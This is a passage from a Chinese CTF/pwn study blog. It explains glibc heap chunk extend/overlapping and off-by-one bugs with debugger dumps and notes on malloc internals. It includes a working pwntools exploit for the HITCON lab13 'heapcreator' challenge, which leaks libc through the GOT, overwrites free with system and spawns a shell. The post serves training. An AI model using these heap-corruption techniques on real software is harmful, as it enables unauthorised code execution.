和前面的例子一样,*(int *)((int)test-0x8) = 0xb1;这段代码也是将chunk1的size部分进行了更改,将原有的0x90扩展到了0xb0。这就导致了chunk2被chunk1所包含。接下来我们在第11行下断点释放chunk1: 这里解释一下为什么进的是unsortbin,有两种情况下进unsortbin: 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中 那么这个例子就满足第二种情况,不属于fastbin中的空闲块,并且不和top chunk相邻。其实这个例子和第一个例子差不多,因为chunk1和chunk2合并之后的chunk的大小超过了fast bin的最大接收值,所以不进fast bin,并且chunk3的size标志位变成了0,证明前一个块chunk2是一个释放的状态。接下来的过程也是一样的,再次申请一个0xa0大小的chunk时,会从unsort bin中提取。连带着chunk2中的内容也会被提取出来,这样一来再次对chunk1进行操作,从而达到操作chunk2的目的。 基本示例 3:对 free 的 smallbin 进行 extend //gcc -g test3 -o test3 #include<stdio.h> int main() { void *test, *test1; test = malloc(0x80);//分配第一个0x80的chunk1 malloc(0x10);//分配第二个0x10的chunk2 free(test);//首先进行释放,使得chunk1进入unsorted bin *(long *)((long)test - 0x8) = 0xb1; test1 = malloc(0xa0); } 第三个例子和前面两个有一些区别,前面两个都是先修改chunk1的size大小然后进行释放,但是这个例子是先进行释放,然后重新修改chunk1的size大小,依然还是一步一步来,首先在第8行下断点,使程序完成申请chunk的操作: 接下来我们在第9行下断点,使程序完成对chunk1的释放: 没有什么意外,释放之后的chunk1依然进入了unsort bin中。接下来 我们将断点下载第10行,需要注意的是此时更改size大小的操作是在free之后完成的: 此时再进行 malloc 分配就可以得到 chunk1+chunk2 的堆块,从而控制了 chunk2 的内容。 在修改完size之后重新申请0xa0的时候会从unsort bin中申请,这个时候大家需要总结一下,其实各个bin中存放的只有chunk的首地址,真正判断多大还得是去看这个chunk的size大小,所以再次申请的时候依然还可以对chunk2进行控制 基本示例 4:通过 extend 后向 overlapping 这里展示通过 extend 进行后向 overlapping,这也是在 CTF 中最常出现的情况,通过 overlapping 可以实现其它的一些利用。 #include <stdio.h> int main() { void *ptr,*ptr1; ptr=malloc(0x10);//分配第1个 0x80 的chunk1 malloc(0x10); //分配第2个 0x10 的chunk2 malloc(0x10); //分配第3个 0x10 的chunk3 malloc(0x10); //分配第4个 0x10 的chunk4 *(int *)((int)ptr-0x8)=0x61; free(ptr); ptr1=malloc(0x50); } 初始化分配 4 个堆之后: 将第一个 chunk size 修改为 0x61 ,然后 free 第一个堆块,红框内的都会被当做一个整体放入到 fastbin 当中: 那么当再次分配大小为 0x50 (不含chunk header)时,就会调用这块内存了: 在 malloc(0x50) 对 extend 区域重新占位后,其中 0x10 的 fastbin 块依然可以正常的分配和释放,此时已经构成 overlapping,通过对 overlapping 的进行操作可以实现 fastbin attack。 基本示例 5:通过 extend 前向 overlapping #include <stdio.h> int main(void) { void *ptr1,*ptr2,*ptr3,*ptr4; ptr1=malloc(128);//smallbin1 ptr2=malloc(0x10);//fastbin1 ptr3=malloc(0x10);//fastbin2 ptr4=malloc(128);//smallbin2 malloc(0x10);//防止与top合并 free(ptr1); *(int *)((long long)ptr4-0x8)=0x90;//修改pre_inuse域,prev_inuse *(int *)((long long)ptr4-0x10)=0xd0;//修改pre_size域,prev_size free(ptr4);//unlink进行前向extend malloc(0x150);//占位块 } 这里例子调试一直出不来堆信息,就文字描述一下: 先布置好 5 个堆块,然后释放 ptr1 进入到 unsortedbin 。修改 ptr4 的 prev_inuse 为 0 标记前一个堆块释放(空闲);修改 ptr4 的 prev_size 为 ptr1+ptr2+ptr3 。释放 ptr4 会触发回收机制,也就是合并物理相邻的堆,用到的操作是 unlink ,就将 ptr1~4 当做一个堆块放入 unsortedbin。 前向 extend 利用了 smallbin 的 unlink 机制,通过修改 pre_size 域可以跨越多个 chunk 进行合并实现 overlapping。 例题 HITCON Training lab13 题目链接 基本信息 # zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/Heap-overflow-basic/Chunk_extend_overlapping/HITCON_Training_lab13 [15:58:02] $ checksec heapcreator [*] '/home/zer0ptr/Pwn-Research/Heap-overflow-basic/Chunk_extend_overlapping/HITCON_Training_lab13/heapcreator' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No 程序为 64 位动态链接程序,主要开启了 Canary 保护与 NX 保护。 基本功能 程序大概是一个自定义的堆分配器,每个堆主要有两个成员:大小与内容指针。主要功能如下 创建堆,根据用户输入的长度,申请对应内存空间,并利用 read 读取指定长度内容。这里长度没有进行检测,当长度为负数时,会出现任意长度堆溢出的漏洞。当然,前提是可以进行 malloc。此外,这里读取之后并没有设置 NULL。 编辑堆,根据指定的索引以及之前存储的堆的大小读取指定内容,但是这里读入的长度会比之前大 1,所以会存在 off by one 的漏洞。 展示堆,输出指定索引堆的大小以及内容。 删除堆,删除指定堆,并且将对应指针设置为了 NULL。 利用 基本利用思路如下 利用 off by one 漏洞覆盖下一个 chunk 的 size 字段,从而构造伪造的 chunk 大小。 申请伪造的 chunk 大小,从而产生 chunk overlap,进而修改关键指针。 #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * context.log_level = 'debug' p = process("./heapcreator") elf = ELF("./heapcreator") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") def create(size, content): p.recvuntil(b"choice :") p.sendline(b"1") p.recvuntil(b"Heap : ") p.sendline(str(size).encode()) p.recvuntil(b"heap:") p.send(content) def edit(idx, content): p.recvuntil(b"choice :") p.sendline(b"2") p.recvuntil(b"Index :") p.sendline(str(idx).encode()) p.recvuntil(b"heap :") p.send(content) def show(idx): p.recvuntil(b"choice :") p.sendline(b"3") p.recvuntil(b"Index :") p.sendline(str(idx).encode()) def free(idx): p.recvuntil(b"choice :") p.sendline(b"4") p.recvuntil(b"Index :") p.sendline(str(idx).encode()) def exit(): p.recvuntil(b"choice :") p.sendline(b"5") # off-by-one create(0x18, b'a'*0x10) # 0 create(0x10, b'b'*0x10) # 1 edit(0, b"/bin/sh\\x00".ljust(0x18, b'a') + b"\\x41") free(1) # leak libc free_got = elf.got['free'] create(0x30, b'a'*0x18 + p64(0x21) + p64(0x30) + p64(free_got)) show(1) p.recvuntil(b"Content : ") free_addr = u64(p.recv(6).ljust(8, b'\\x00')) log.info("free_addr:" + hex(free_addr)) libc_base = free_addr - libc.symbols['free'] log.info("libc_base:" + hex(libc_base)) system = libc_base + libc.symbols['system'] log.info("system:" + hex(system)) edit(1, p64(system)) # gdb.attach(p) free(0) p.interactive() References CTF-Wiki Chunk Extend and Overlapping CSDN 好好说话之Chunk Extend/Overlapping Chunk Extend/Overlapping | 堆拓展、重叠 buuctf hitcontraining_heapcreator HITCON Trainging lab13 知乎 堆利用之 chunk overlapping 博客园 M4x@10.0.0.55 PWN-extend overlapping Blogs hunk Extend and Overlapping(堆重叠) hitcon training lab13 chunk extend overlapping 看雪 HITCON Trainging lab13 heapcreator","categories":[{"name":"Pwn","slug":"Pwn","permalink":"https://zer0ptr.github.io/categories/Pwn/"}],"tags":[{"name":"堆溢出","slug":"堆溢出","permalink":"https://zer0ptr.github.io/tags/%E5%A0%86%E6%BA%A2%E5%87%BA/"},{"name":"Heap","slug":"Heap","permalink":"https://zer0ptr.github.io/tags/Heap/"},{"name":"Chunk Extend and Overlapping","slug":"Chunk-Extend-and-Overlapping","permalink":"https://zer0ptr.github.io/tags/Chunk-Extend-and-Overlapping/"}]},{"title":"offbyone学习记录","slug":"offbyone","date":"2026-02-06T16:00:00.000Z","updated":"2026-02-11T04:31:04.759Z","comments":true,"path":"2026/02/07/offbyone/","permalink":"https://zer0ptr.github.io/2026/02/07/offbyone/","excerpt":"","text":"Description off-by-one漏洞是一种特殊的缓冲区溢出漏洞,其特殊之处在于off-by-one漏洞仅允许溢出一个字节,且该溢出字节未必是可控的。off-by-one漏洞常见于以下两种情况: 错误地设置了循环的边界(如将"<“误写为”<="); 错误地使用了字符串处理函数字符串处理函数&zhida_source=entity)(不同的字符串处理函数对字符串末尾的"\\0"的处理方式不同,如果将二者混用便可能导致末尾的"\\0"发生溢出)。 循环边界设置不当 char a[16]; for(int i = 0;i<=16;i++) { read(0,a,1); } 在上述代码片段中看出其实这个循环进行了17次,多向a中读入了一个字节,造成了溢出,攻击者可以通过这个漏洞达成许多攻击效果。 这一错误也被称为栅栏错误 wikipedia: 栅栏错误(有时也称为电线杆错误或者灯柱错误)是差一错误的一种。如以下问题: 建造一条直栅栏(即不围圈),长 30 米、每条栅栏柱间相隔 3 米,需要多少条栅栏柱? 最容易想到的答案 10 是错的。这个栅栏有 10 个间隔,11 条栅栏柱。 我在 puts 处(my_gets前)和"19"(return 0)处下断点; pwndbg> b puts Breakpoint 1 at 0x1070 pwndbg> b 19 Breakpoint 2 at 0x1214: file example.c, line 19. pwndbg> r _____________________________________________________________________ pwndbg> r Starting program: /home/zer0ptr/Pwn-Research/Heap-overflow-basic/off_by_one_example/example/offbyone_1 [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Breakpoint 1, __GI__IO_puts (str=0x555555556004 "Get Input:") at ./libio/ioputs.c:33 33 ./libio/ioputs.c: No such file or directory. LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA ───────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────────────────────────────────────────────── RAX 0x555555556004 ◂— 'Get Input:' RBX 0 RCX 0x21 RDX 0 RDI 0x555555556004 ◂— 'Get Input:' RSI 0x5555555592d0 ◂— 0 R8 0x21001 R9 0x5555555592c0 ◂— 0 R10 0xfffffffffffff000 R11 0x7ffff7e1ace0 (main_arena+96) —▸ 0x5555555592d0 ◂— 0 R12 0x7fffffffd718 —▸ 0x7fffffffda52 ◂— '/home/zer0ptr/Pwn-Research/Heap-overflow-basic/off_by_one_example/example/offbyone_1' R13 0x5555555551cc (main) ◂— endbr64 R14 0x555555557db0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x555555555140 (__do_global_dtors_aux) ◂— endbr64 R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f RBP 0x7fffffffd600 ◂— 1 RSP 0x7fffffffd5e8 —▸ 0x555555555203 (main+55) ◂— mov rax, qword ptr [rbp - 0x10] RIP 0x7ffff7c80e50 (puts) ◂— endbr64 ────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────────────────────────────────────────────────── ► 0x7ffff7c80e50 <puts> endbr64 0x7ffff7c80e54 <puts+4> push r14 0x7ffff7c80e56 <puts+6> push r13 0x7ffff7c80e58 <puts+8> push r12 0x7ffff7c80e5a <puts+10> mov r12, rdi R12 => 0x555555556004 ◂— 'Get Input:' 0x7ffff7c80e5d <puts+13> push rbp 0x7ffff7c80e5e <puts+14> push rbx 0x7ffff7c80e5f <puts+15> sub rsp, 0x10 RSP => 0x7fffffffd5b0 (0x7fffffffd5c0 - 0x10) 0x7ffff7c80e63 <puts+19> call *ABS*+0xa86a0@plt <*ABS*+0xa86a0@plt> 0x7ffff7c80e68 <puts+24> mov r13, qword ptr [rip + 0x198fc9] R13, [0x7ffff7e19e38] => 0x7ffff7e1b868 (stdout) 0x7ffff7c80e6f <puts+31> mov rbx, rax ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffd5e8 —▸ 0x555555555203 (main+55) ◂— mov rax, qword ptr [rbp - 0x10] 01:0008│-010 0x7fffffffd5f0 —▸ 0x5555555592a0 ◂— 0 02:0010│-008 0x7fffffffd5f8 —▸ 0x5555555592c0 ◂— 0 03:0018│ rbp 0x7fffffffd600 ◂— 1 04:0020│+008 0x7fffffffd608 —▸ 0x7ffff7c29d90 (__libc_start_call_main+128) ◂— mov edi, eax 05:0028│+010 0x7fffffffd610 ◂— 0 06:0030│+018 0x7fffffffd618 —▸ 0x5555555551cc (main) ◂— endbr64 07:0038│+020 0x7fffffffd620 ◂— 0x1ffffd700 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────── ► 0 0x7ffff7c80e50 puts 1 0x555555555203 main+55 2 0x7ffff7c29d90 __libc_start_call_main+128 3 0x7ffff7c29e40 __libc_start_main+128 4 0x5555555550c5 _start+37 从上面这一大坨拉出来: pwndbg> x/10gx 0x5555555592a0 0x5555555592a0: 0x0000000000000000 0x0000000000000000 0x5555555592b0: 0x0000000000000000 0x0000000000000021 0x5555555592c0: 0x0000000000000000 0x0000000000000000 0x5555555592d0: 0x0000000000000000 0x0000000000020d31 0x5555555592e0: 0x0000000000000000 0x0000000000000000 pwndbg> x/10gx 0x5555555592c0 0x5555555592c0: 0x0000000000000000 0x0000000000000000 0x5555555592d0: 0x0000000000000000 0x0000000000020d31 0x5555555592e0: 0x0000000000000000 0x0000000000000000 0x5555555592f0: 0x0000000000000000 0x0000000000000000 0x555555559300: 0x0000000000000000 0x0000000000000000 这里已经分配了两个用户区域为16的堆块 当我们执行 my_gets 进行输入之后,可以看到数据发生了溢出:第25个字节0x61覆盖了下一个堆块的size字段的低字节 pwndbg> x/10gx 0x5555555592a0 0x5555555592a0: 0x6161616161616161 0x6161616161616161 0x5555555592b0: 0x0000000000000061 0x0000000000000021 0x5555555592c0: 0x0000000000000000 0x0000000000000000 0x5555555592d0: 0x0000000000000000 0x0000000000000411 0x5555555592e0: 0x75706e4920746547 0x00000000000a3a74 字符串结束符 第二种常见的导致 off-by-one 的场景就是字符串操作了,常见的原因是字符串的结束符计算有误: #include <stdio.h> #include <stdlib.h> #include <string.h> int main(void) { char buffer[40]=""; void *chunk1; chunk1=malloc(24); puts("Get Input"); gets(buffer); if(strlen(buffer)==24) { strcpy(chunk1,buffer); } return 0; } // gcc -g -o offbyone_2 offbyone_2.c -no-pie -fno-stack-protector -z execstack 程序乍看上去没有任何问题(不考虑栈溢出),可能很多人在实际的代码中也是这样写的。 但是 strlen 和 strcpy 的行为不一致却导致了 off-by-one 的发生。 strlen 是我们很熟悉的计算 ascii 字符串长度的函数,这个函数在计算字符串长度时是不把结束符 ‘\\x00’ 计算在内的,但是 strcpy 在复制字符串时会拷贝结束符 ‘\\x00’ 。这就导致了我们向 chunk1 中写入了 25 个字节,我们使用 gdb 进行调试可以看到这一点。 我在*main+62处(malloc调用后的返回地址)和 *main+141处(程序执行完毕返回地址处) strcpy下断点: pwndbg> disassemble main Dump of assembler code for function main: 0x00000000004011b6 <+0>: endbr64 0x00000000004011ba <+4>: push rbp 0x00000000004011bb <+5>: mov rbp,rsp 0x00000000004011be <+8>: sub rsp,0x30 0x00000000004011c2 <+12>: mov QWORD PTR [rbp-0x30],0x0 0x00000000004011ca <+20>: mov QWORD PTR [rbp-0x28],0x0 0x00000000004011d2 <+28>: mov QWORD PTR [rbp-0x20],0x0 0x00000000004011da <+36>: mov QWORD PTR [rbp-0x18],0x0 0x00000000004011e2 <+44>: mov QWORD PTR [rbp-0x10],0x0 0x00000000004011ea <+52>: mov edi,0x18 0x00000000004011ef <+57>: call 0x4010c0 <malloc@plt> 0x00000000004011f4 <+62>: mov QWORD PTR [rbp-0x8],rax 0x00000000004011f8 <+66>: lea rax,[rip+0xe05] # 0x402004 0x00000000004011ff <+73>: mov rdi,rax 0x0000000000401202 <+76>: call 0x401090 <puts@plt> 0x0000000000401207 <+81>: lea rax,[rbp-0x30] 0x000000000040120b <+85>: mov rdi,rax 0x000000000040120e <+88>: mov eax,0x0 0x0000000000401213 <+93>: call 0x4010b0 <gets@plt> 0x0000000000401218 <+98>: lea rax,[rbp-0x30] 0x000000000040121c <+102>: mov rdi,rax 0x000000000040121f <+105>: call 0x4010a0 <strlen@plt> 0x0000000000401224 <+110>: cmp rax,0x18 0x0000000000401228 <+114>: jne 0x40123d <main+135> 0x000000000040122a <+116>: lea rdx,[rbp-0x30] 0x000000000040122e <+120>: mov rax,QWORD PTR [rbp-0x8] 0x0000000000401232 <+124>: mov rsi,rdx 0x0000000000401235 <+127>: mov rdi,rax 0x0000000000401238 <+130>: call 0x401080 <strcpy@plt> 0x000000000040123d <+135>: mov eax,0x0 0x0000000000401242 <+140>: leave 0x0000000000401243 <+141>: ret End of assembler dump. pwndbg> b *main+62 Breakpoint 2 at 0x4011f4: file offbyone_2.c, line 9. pwndbg> b strcpy Breakpoint 3 at 0x401243: file offbyone_2.c, line 14. pwndbg> malloc调用后chunk1如下: pwndbg> x/10gx 0x4052a0 0x4052a0: 0x0000000000000000 0x0000000000000000 0x4052b0: 0x0000000000000000 0x0000000000020d51 0x4052c0: 0x0000000000000000 0x0000000000000000 0x4052d0: 0x0000000000000000 0x0000000000000000 0x4052e0: 0x0000000000000000 0x0000000000000000 然后c输入b’a’ * 24后观察: pwndbg> x/10gx 0x4052a0 0x4052a0: 0x6161616161616161 0x6161616161616161 0x4052b0: 0x6161616161616161 0x0000000000000400 0x4052c0: 0x75706e4920746547 0x0000000000000a74 0x4052d0: 0x0000000000000000 0x0000000000000000 0x4052e0: 0x0000000000000000 0x0000000000000000 pwndbg> 可以看到 next chunk 的 size 域低字节被结束符 '\\x00' 覆盖,这种又属于 off-by-one 的一个分支称为 NULL byte off-by-one,我们在后面会看到 off-by-one 与 NULL byte off-by-one 在利用上的区别。 还是有一点就是为什么是低字节被覆盖呢,因为我们通常使用的 CPU 的字节序都是小端法的,比如一个 DWORD 值在使用小端法的内存中是这样储存的: DWORD 0x41424344 内存 0x44,0x43,0x42,0x41 References CTF-Wiki 堆中的 Off-By-One 先知 堆溢出 off by one & off by null pwn的堆中如何使用off by one 和off by null的详细解析以及每一步的调试过程 知乎 CTFer成长日记17:千里之堤,溃于蚁穴——off-by-one漏洞原理与利用1 二进制安全之堆溢出(系列)—— off by one CSDN PWN-Offbyone 漏洞解析","categories":[{"name":"Pwn","slug":"Pwn","permalink":"https://zer0ptr.github.io/categories/Pwn/"}],"tags":[{"name":"Heap","slug":"Heap","permalink":"https://zer0ptr.github.io/tags/Heap/"},{"name":"堆","slug":"堆","permalink":"https://zer0ptr.github.io/tags/%E5%A0%86/"}]},{"title":"堆基础-glibc_malloc_chunk,bin,threading,arena,system_call","slug":"heap_glibc_malloc_chunk","date":"2026-02-05T16:00:00.000Z","updated":"2026-02-09T03:55:03.609Z","comments":true,"path":"2026/02/06/heap_glibc_malloc_chunk/","permalink":"https://zer0ptr.github.io/2026/02/06/heap_glibc_malloc_chunk/","excerpt":"","text":"glibc_malloc_chunk Overview 在程序的执行过程中,我们称由 malloc 申请的内存为 chunk 。这块内存在 ptmalloc 内部用 malloc_chunk 结构体来表示。当程序申请的 chunk 被 free 后,会被加入到相应的空闲管理列表中。无论chunk的大小、状态如何,他们都是使用同一数据结构——malloc_chunk,只不过是表现形式有所不同。 malloc_chunk结构如下: /* This struct declaration is misleading (but accurate and necessary). It declares a "view" into memory allowing access to necessary fields at known offsets from a given base. See explanation below. */ struct malloc_chunk { INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize; }; 根据不同的chunk类型,malloc_chunk会有部分内容选择性“表示”。 堆段中存在的 chunk 类型如下: Allocated chunk; Free chunk; Top chunk; Last Remainder chunk. allocated chunk allocated chunk,也就是分配给用户的 chunk,其图示如下: 图中左方三个箭头依次表示: chunk:该Allocated chunk的起始地址; mem:该Allocated chunk中用户可用区域的起始地址 next_chunk:下一个 chunck(无论类型)的起始地址。 图中结构体内部各字段的含义依次为: prev_size:若上一个 chunk 可用,则此字段赋值为上一个 chunk 的大小;否则,此字段被用来存储上一个 chunk 的用户数据; size:此字段赋值本 chunk 的大小,其最后三位包含标志信息: PREV_INUSE § – 置「1」表示上个 chunk 被分配; IS_MMAPPED (M) – 置「1」表示这个 chunk 是通过 mmap 申请的(较大的内存); NON_MAIN_ARENA (N) – 置「1」表示这个 chunk 属于一个 thread arena。 malloc_chunk 中的其余结构成员,如 fd、 bk,没有使用的必要而拿来存储用户数据; 用户请求的大小被转换为内部实际大小,因为需要额外空间存储 malloc_chunk,此外还需要考虑对齐。 free chunk free chunk就是用户free后释放的chunk。 图中结构体内部各字段的含义依次为: prev_size: 两个相邻 free chunk 会被合并成一个,因此该字段总是保存前一个 allocated chunk 的用户数据; size: 该字段保存本 free chunk 的大小; fd: Forward pointer —— 本字段指向同一 bin 中的下个 free chunk(free chunk 链表的前驱指针); bk: Backward pointer —— 本字段指向同一 bin 中的上个 free chunk(free chunk 链表的后继指针)。 glibc_malloc_bin Bins Overview 用户释放掉的chunk不会立即归还系统,ptmalloc会同一管理heap和mmap映射区域中的chunk。当用户再一次请求分配内存的时候,ptmalloc分配器会试图在空闲的chunk中按照规则匹配一块内存给用户,从而避免频繁系统调用,降低内存分配的开销。 具体实现中,ptmalloc 采用分箱式方法对空闲的 chunk 进行管理。首先,它会根据空闲的 chunk 的大小以及使用状态将 chunk 初步分为 4 类:fast bins,small bins,large bins,unsorted bin。每类中仍然有更细的划分,相似大小的 chunk 会用双向链表链接起来。也就是说,在每类 bin 的内部仍然会有多个互不相关的链表来保存不同大小的 chunk。 对于 small bins,large bins,unsorted bin 来说,ptmalloc 将它们维护在同一个数组中。这些 bin 对应的数据结构在 malloc_state 中,如下: #define NBINS 128 /* Normal bins packed as described above */ mchunkptr bins[ NBINS * 2 - 2 ]; bins 主要用于索引不同 bin 的 fd 和 bk。 为了简化在双链接列表中的使用,每个 bin 的 header 都设置为 malloc_chunk 类型。这样可以避免 header 类型及其特殊处理。但是,为了节省空间和提高局部性,只分配 bin 的 fd/bk 指针,然后使用 repositioning tricks 将这些指针视为一个malloc_chunk*的字段。 以 32 位系统为例,bins 前 4 项的含义如下: bin 下标 含义 0 bin1 的 fd / bin2 的 prev_size 1 bin1 的 bk / bin2 的 size 2 bin2 的 fd / bin3 的 prev_size 3 bin2 的 bk / bin3 的 size bin2 的 prev_size、size 和 bin1 的 fd、bk 是重合的。由于我们只会使用 fd 和 bk 来索引链表,所以该重合部分的数据其实记录的是 bin1 的 fd、bk。 也就是说,虽然后一个 bin 和前一个 bin 共用部分数据,但是其实记录的仍然是前一个 bin 的链表数据。通过这样的复用,可以节省空间。 数组中的 bin 依次如下 第一个为 unsorted bin,字如其面,这里面的 chunk 没有进行排序,存储的 chunk 比较杂。 索引从 2 到 63 的 bin 称为 small bin,同一个 small bin 链表中的 chunk 的大小相同。两个相邻索引的 small bin 链表中的 chunk 大小相差的字节数为 2 个机器字长,即 32 位相差 8 字节,64 位相差 16 字节。 small bins 后面的 bin 被称作 large bins。large bins 中的每一个 bin 都包含一定范围内的 chunk,其中的 chunk 按 fd 指针的顺序从大到小排列。相同大小的 chunk 同样按照最近使用顺序排列。 fastbin的使用标记总是被置1的,所以不会被处理。 Fast Bin 大小为 16 ~ 80字节的chunk被称为fast chunk。在所有的bins中,fast bins路径享有最快的内存分配及释放速度。 数量:10 每个 fast bin 都维护着一条 free chunk 的单链表,采用单链表是因为链表中所有 chunk 的大小相等,增删 chunk 发生在链表顶端即可;—— LIFO(Last in first out) chunk 大小:8 字节递增 fast bins 由一系列所维护 chunk 大小以 8 字节递增的 bins 组成。也即,fast bin[0] 维护大小为 16 字节的 chunk、fast bin[1] 维护大小为 24 字节的 chunk。依此类推…… 指定 fast bin 中所有 chunk 大小相同; 在 malloc 初始化过程中,最大的 fast bin 的大小被设置为 64 而非 80 字节。因为默认情况下只有大小 16 ~ 64 的 chunk 被归为 fast chunk 。 无需合并 —— 两个相邻 chunk 不会被合并。虽然这可能会加剧内存碎片化,但也大大加速了内存释放的速度! malloc(fast chunk) 初始情况下 fast chunck 最大尺寸以及 fast bin 相应数据结构均未初始化,因此即使用户请求内存大小落在 fast chunk 相应区间,服务用户请求的也将是 small bin 路径而非 fast bin 路径; 初始化后,将在计算 fast bin 索引后检索相应 bin; 相应 bin 中被检索的第一个 chunk 将被摘除并返回给用户。 free(fast chunk) 计算 fast bin 索引以索引相应 bin; free 掉的 chunk 将被添加到上述 bin 的顶端。 Unsorted Bin 当small chunk和large chunk被free掉的时候,它们并不是被添加到各自的bin中,而是被添加在unsorted bin中,这使得分配器可以重新使用最近被free掉的chunk,从而消除寻找合适的bin的时间开销,提升内存分配和释放的效率。 何时,unsorted bin的chunks会移动到small/large chunk中? —> 在内存分配的时候,在前后检索fast/small bins未果之后,在特定条件下,会将unsorted bin中的 chunks转移到合适的bin中去(small/large)。 数量-大小 unsorted bin包括一个用于保存free chunk的双向链表。 chunk的大小无限制,任何大小的chunk均可以添加到这里。 Small Bin 大小小于512字节的chunk被成为small chunk,保存small chunks的bin被称为small bin. 数量-大小 数量:62 每个small bin都维护着一条free chunk的双向循环链表。采用双向链表的原因是,small bins中的chunk可能会从链表中部摘除。这里新增项放在链表的头部位置,而从链表的尾部位置移除项。 chunk大小:8字节递增。 Small bins 由一系列所维护 chunk 大小以 8 字节递增的 bins 组成。举例而言,small bin[0] (Bin 2)维护着大小为 16 字节的 chunks、small bin[1](Bin 3)维护着大小为 24 字节的 chunks ,依此类推……指定 small bin 中所有 chunk 大小均相同,因此无需排序。 合并 相邻的free chunk将被合并,这减缓了内存碎片化,但是减慢了 free 的速度 malloc(small chunk) 初始情况下,small bins都是NULL,因此尽管用户请求small chunk,提供服务的将是unsorted bin 路径而不是small bin路径; 第一次调用malloc时,维护在 malloc_state中的small bins和large bins将被初始化,它们都会指向自身以表示其为空; 此后当small bin非空,相应的bin会摘除其中最后一个chunk并返回给用户; free(small chunk) free chunk 的时候,检查其前后的chunk是否空闲,若是则合并,也即把它们从所属的链表中摘除并合并成一个新的chunk,新chunk会添加在unsorted bin的前端。 Large Bin 大小-数量 数量:62 每个large bin都维护着一条free chunk的双向循环链表。采用双向链表的原因是,large bins中的chunk可能会从链表中的任意位置插入及删除。 大小:large bin中所有chunk大小不一定相同,各chunk大小递减保存。最大的chunk保存顶端,而最小的chunk保存在尾端; 这 63 个 bins 32 个 bins 所维护的 chunk 大小以 64B 递增,也即 large chunk[0](Bin 65) 维护着大小为 512B ~ 568B 的 chunk 、large chunk[1](Bin 66) 维护着大小为 576B ~ 632B 的 chunk,依此类推…… 16 个 bins 所维护的 chunk 大小以 512 字节递增; 8 个 bins 所维护的 chunk 大小以 4096 字节递增; 4 个 bins 所维护的 chunk 大小以 32768 字节递增; 2 个 bins 所维护的 chunk 大小以 262144 字节递增; 1 个 bin 维护所有剩余 chunk 大小; 合并 两个相邻的空闲 chunk 会被合并 malloc(large chunk) 初始情况下,large bin都会是NULL,因此尽管用户请求large chunk,提供服务的将是next largetst bin路径而不是large bin路径。 第一次调用malloc时,维护在malloc_state中的small bin和large bin将被初始化,它们都会指向自身以表示其为空; 此后当large bin非空,如果相应bin中的最大chunk大小大于用户请求大小,分配器就从该bin顶端遍历到尾端,以找到一个大小最接近用户请求的chunk。一旦找到,相应chunk就会被切分成两块: User chunk(用户请求大小)—— 返回给用户; Remainder chunk (剩余大小)—— 添加到unsorted bin。 如果相应bin中的最大 chunk 大小小于用户请求大小,分配器就会扫描binmaps,从而查找最小非空 bin。如果找到了这样的bin,就从中选择合适的chunk并切割给用户;反之就使用top chunk响应用户请求。 free(large chunk) 类似于 small chunk。 Top Chunk 一个arena中最顶部的chunk被称为top chunk。它不属于任何bin。当所有bin中都没有合适空闲内存时,就会使用top chunk来响应用户请求。 当top chunk的大小比用户请求的大小大的时候,top chunk会分割为两个部分: User chunk,返回给用户; Remainder chunk,剩余部分,将成为新的top chunk。 当top chunk的大小比用户请求的大小小的时候,top chunk就通过 sbrk(main arena)或 mmap( thread arena)系统调用扩容 top chunk的prev_inuse比特位始终为1,否则其前面的chunk就会被合并到top chunk中。初始情况下,我们可以将 unsorted chunk 作为 top chunk。 Last Remainder Chunk 「last remainder chunk」即最后一次 small request 中因分割而得到的剩余部分,它有利于改进引用局部性,也即后续对 small chunk 的 malloc 请求可能最终被分配得彼此靠近。 arena 中的若干 chunks,哪个有资格成为 last remainder chunk ? 当用户请求 small chunk 而无法从 small bin 和 unsorted bin 得到服务时,分配器就会通过扫描 binmaps 找到最小非空 bin。正如前文所提及的,如果这样的 bin 找到了,其中最合适的 chunk 就会分割为两部分: 返回给用户的 User chunk 添加到 unsorted bin 中的 Remainder chunk 这一 Remainder chunk 就将成为 last remainder chunk。 glibc_malloc_threading 多线程支持 linux早期使用dlmalloc作为默认分配器,在dlmalloc中只有一个线程能访问临界区(critical section),因为所有线程共享freelist的数据结构。在ptmalloc2中当两个线程同时调用malloc的时候,内存均会得以分配,因为每个线程都维护着单独的堆段,因此维护这些堆的freelist数据结构也是分开的。这种为每个线程维护单独的堆和空闲列表数据结构的行为称为每个线程领域(per thread arena)。 分析案例 /* Per thread arena example. */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> #include <sys/types.h> void* threadFunc(void* arg) { printf("Before malloc in thread 1\\n"); getchar(); char* addr = (char*) malloc(1000); printf("After malloc and before free in thread 1\\n"); getchar(); free(addr); printf("After free in thread 1\\n"); getchar(); } int main() { pthread_t t1; void* s; int ret; char* addr; printf("Welcome to per thread arena example::%d\\n",getpid()); printf("Before malloc in main thread\\n"); getchar(); addr = (char*) malloc(1000); printf("After malloc and before free in main thread\\n"); getchar(); 